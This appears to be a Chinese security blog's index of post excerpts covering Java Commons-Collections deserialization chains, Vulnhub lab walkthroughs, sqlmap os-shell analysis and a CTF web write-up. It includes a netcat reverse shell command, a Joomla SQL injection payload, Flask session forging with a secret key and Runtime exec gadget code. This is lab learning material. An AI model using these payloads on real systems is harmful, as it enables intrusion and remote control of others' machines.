Java学习之CC链5
环境commons-collections版本如下,这里我一直参考的博客没说,但如果是4.0的话是有问题的后面会提到,其它环境没变
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
链子分析CC5就是改了入口点然后和CC1的LazyMap连接起来,组长后面两条链子没有详细讲了,因为大同小异,这里直接给了入口类,因为这条链子自己去找还是比较困难的,为BadAttributeValueExpException 的 readObject()方法,然后要和LazyMap.get()连上,那么就是找谁调用了get()方法这里如果去find usages去找的话很麻烦,调用实在太多了就直接看吧,最后是找到了TiedMapEntry类的getVa ...
Java学习之CC链2
环境和CC4一样,Commons-Collections 依赖如下
1234567<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies>
链子分析CC2其实就是在CC4上修改,它是为了避免transform数组的使用,至于为什么要避免是因为shiro中的漏洞会重写很多动态加载数组的方法,那么可能EXP 无法通过数组实现,当然我还没跟过shiro的链子到时候再去学习,那么到这里后面的流程图就如下前面的就是CC4的东西,所以这里就是要把compare与InvokerTransform连接起来然后再把InvokerTransform与TemplatesI ...
Vulnhub-DC-5
环境下载地址:https://download.vulnhub.com/dc/DC-5.zip
开始打靶常规操作存活IP扫描arp-scan -l端口开放扫描nmap -A -p- 192.168.75.138得全端口扫描不然后面那个扫不出来页面的框框测了一下没啥东西,在我来回跳转的时候看到如下位置会发生变化猜测可能存在文件包含,dirsearch扫描一下目录访问footer.php刷新发现年份变化,而thankyou.php页面刷新也存在变化,确认这里存在文件包含fuzz一下参数本来想用wfuzz来fuzz参数的但是不知道为什么一直404无奈只能掏出我珍藏多年的字典了得到参数为file,从插件中得到服务为nginx那么可以尝试利用日志写马,访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。通过fuzz得到日志路径如下,当然这里是默认的直接访问就行
123/var/log/nginx/access.log/var/log/nginx/error.log
通过ngi ...
Java学习之CC链4
环境其它的和前面一样,只不过Commons-Collections 依赖变为了4.0
1234567<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies>
链子分析在CC4上尾部的命令执行没有什么变化反射或者动态加载字节码,改变的是CC4去掉了 InvokerTransformer 的 Serializable 继承,那么InvokerTransformer用不了了就要找谁调用了transform()随便用个类然后find usages transform()这里最终找的是TransformingComparator 类中的compare方法调用了 ...
Vulnhub-DC-4
环境准备下载地址:https://www.vulnhub.com/entry/dc-4,313/
开始打靶扫描存活IParp-scan -l访问出现一个登录界面,我的7万数据大字典都没爆出来。。。难道不是弱口令??靠admin/admin进去了,我的大字典没有??仔细查看发现根本没做密码验证。。。进入可以执行三个Linux命令抓个包发现是任意代码执行,直接写入webshell发现存在过滤base64之后显示写入成功,但是查看又没有文件就很奇怪,看了wp发现直接弹shell,也对啊,都能命令执行了为啥不试试弹个shell呢。。
1radio=nc+192.168.75.128+6666+-e+/bin/bash&submit=Run
然后用python获取个交互式shell,查看root没有权限
1python -c 'import pty; pty.spawn("/bin/bash")'
exim提权然后就是提权了,查看具有suid权限的命令
1find / -perm -u=s -type f 2>/dev/null
...
Vulnhub--DC-3
环境准备下载地址:http://www.five86.com/downloads/DC-3-2.zip镜像地址:https://download.vulnhub.com/dc/DC-3-2.zip在打开的时候出了一个问题,如下解决方法:在CD/DVD高级设置里面改为如下即可
开始打靶从DC-3开始只有一个flag,得提权到root才能拿到扫描存活IP,记得改为NAT连接arp-scan -lIP为192.168.75.136探测一下存活端口nmap -A 192.168.75.136 扫一下目录看看有个后台,先放着,访问一下IP利用插件发现CMS为Joomla
sql注入看下有没有历史漏洞,发现存在sql注入
1http://192.168.75.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)
然后用sqlmap一把梭看看有什么东西吧,将数据包保存在注入的参数加个*
1sq ...
Sqlmap --os-shell原理分析
测试环境这里使用的是本地搭建的sqllab靶场,搭建这个靶场如果遇到数据库加载不成功大概率原因为php版本问题,php版本必须为5.x因为7以上不支持mysql_connect函数用的是mysqli_connect
开始注入这里我一开始--os-shell一直写不进去马,还以为是我路径的问题,后面发现是secure_file_priv=必须为空这个条件不满足,phpstudy数据库里面没有这个参数,所以加上就行开始sql注入,先抓取一个数据包,然后关闭拦截,执行下面命令,这样可以在burp上抓取到所有的数据包
1sqlmap -u "http://192.168.1.102/sqli-labs-master/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080
具体参数选择如下拿到shell
开始分析我们从下面数据包开始分析,前面的都是正常注入的过程这里get方式传入了一大堆url编码的数据
1-8041%27%20OR%209362%3D9362%20LIMIT%200%2C1%20INTO%20OUTFIL ...
NSSCTFRound#13 Web
一点感叹最近很烦,比赛很简单的题也做不出来天天爆0,估计是基础没打牢吧,重新回去刷基础题
flask?jwt?注册账号发现admin已经存在,然后随便注册一个账号发现admin才能getFlag,就是伪造session了在忘记密码发送邮件那里抓包找到key然后就是伪造session了
123python flask_session_cookie_manager3.py decode -s th3f1askisfunny -c "session"python flask_session_cookie_manager3.py encode -s th3f1askisfunny -t "{'_fresh': True, '_id': '0e382100446e160095f79a16dd0bceddee884c4d84dcc9e53bfb47d206175ad1c5005f21630c2892c78a7e4985b69503704833e18205e6eacc9dbb58aa7b3e85', ...
Java学习之CC链3
环境准备
jdk8u65
Commons-Collections 3.2.1
分析最近几周没碰Java感觉又有点生疏了,在CC3中命令执行的方法和1,6不一样,这里用的是动态类加载,使用defineClass->newInstance 来命令执行即在字节里面加载一个类然后实例化执行代码,所以直接从这里入手逆推,还是find usages寻找哪里调用了defineClass,因为它是一个protected所以我们需要一个调用它public方法,最终在TemplatesImpl类的static final class TransletClassLoader下找到defineClass这里没有标注作用域即默认为defalut,也就是自己的类里面可以调用继续find usages发现defineTransletClasses私有方法里面调用了这里_bytecodes不能为空不然就不能执行到defineClass方法了,然后继续find usages最终找到了getTransletInstance方法并且这里有个newInstance()实例化的过程,动态执行代码正好需要实例化,所以如果 ...
VulnHub-Raven-2
靶机地址https://www.vulnhub.com/entry/raven-2,269/
flag—1扫描存活主机arp-scan -l通过靶机mac地址判断IP为192.168.75.135然后nmap扫一下,看看开放端口nmap -A -p- -v 192.168.75.135三个开放端口,然后dirsearch扫一下目录访问/vendor存在一个目录遍历漏洞,在PATH下找到flag1
flag—2,3访问README.md发现存在一个phpmailer服务,并且在VERSION下看的版本为5.2.16搜了一下18以下存在PHPMailer远程命令执行漏洞本来想手工利用,但是失败了,直接利用searchsploit搜索可以利用的漏洞searchsploit PHPMailer将python那条exp拷贝出来,然后修改目标地址和反弹shell的地址以及上传的路径
1cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/joker27/桌面
然后执行exp生成后门文件python 40974.py监听端 ...
Vulnhub-DC-2
环境搭建下载地址:https://www.vulnhub.com/entry/dc-2,311/下载完后就一个ova文件,Vmware打开就行
flag–1老步骤,扫描存活IParp-scan -l通过mac地址判断IP为192.168.75.134nmap查看全部端口,-v为查看版本号nmap -A -p- -v 192.168.75.134有一个80端口,还有一个7744放了ssh访问IP的时候发现访问失败,并且重定向到域名dc-2原因为本地无法解析域名,所以需要编辑/etc/hosts文件,添加靶机IP地址及对应域名
12vim /etc/hosts192.168.75.134 dc-2
由于是在kali下写入所以只能在kali下访问,然后在页面找到flag1然后根据提示下一个flag要使用kali下的cewl,并且需要登录,所以待会儿要扫一下目录
flag–2先使用cewl生成一下密码字典cewl dc-2 -w dict.txt然后使用WPscan枚举一下用户wpscan --url dc-2 --enumerate u得到三个用户,然后使用一开始生成的 ...
Java学习之CC链6
环境准备基本上和CC1差不多
jdk8u71Comoons-Collections 3.2.1
开始分析前半段链子,LazyMap 类到 InvokerTransformer 类是一样的,所以直接到 LazyMap 下,这里先重新一边LazyMap 类调用计算器的 EXP,看参考博客说多写有利于比那些EXP确实是这样,能加深理解,反正没坏处,并且我发现自己又有点忘记了。。。
123456789101112public class Dome { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc" ...